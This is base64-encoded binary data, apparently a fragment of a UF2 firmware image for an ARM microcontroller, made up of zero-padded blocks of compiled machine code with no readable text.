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
IEBCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpV
RjIKV1FdngAgAAAA5QAQAAEAAOUAAAADAQAAVv+L5CGw8L2NS55CAdG+aN3njEueQtrR/mjY57OJ
mwXu1DAAWDAA8PH76ecAIwita2EgM2t2EDOrdgeUA5wjeAArAdAlK0rRA5vjGgWTA5ucQg3QBZsx
ADgAA5r/903/QxwA0dDgamkFm5RGY0RrYSN4ACsA0cfgASIAI1JCamAEqVQyUhgBNCtg62CrYBNw
q2UFIiF4bEgA8Aj8YhwAKB/RKWjLBgTVUyMEqBsYICAYcAsHBNVTIwSoGxgrIBhwI3gqKxbQCiEi
eGAcMDoJKhjY62gEAEtDmxjrYPTnATSt51lLKWjAGgEjg0ALQxQAK2DO5webGB0baAeQACtf2wuT
FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVG
MgpXUV2eACAAAADmABAAAQAA5gAAAAMBAABW/4vkI3guKwrRY3gqK2DRB5sCNBodG2gHkgArVtsJ
kwMiIXhJSADwwfsAKAfQR0sqaMAaQCODQBNDATQrYIAiK2gTQgjQIXhsKQXRk0OAIhIBE0MBNCtg
QCIraBNCCNAheGgpBdGTQ8Ey/zITQwE0K2AjeHorAdB0KwDRATQjeGorBdGAIypoGwETQwE0K2Ah
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
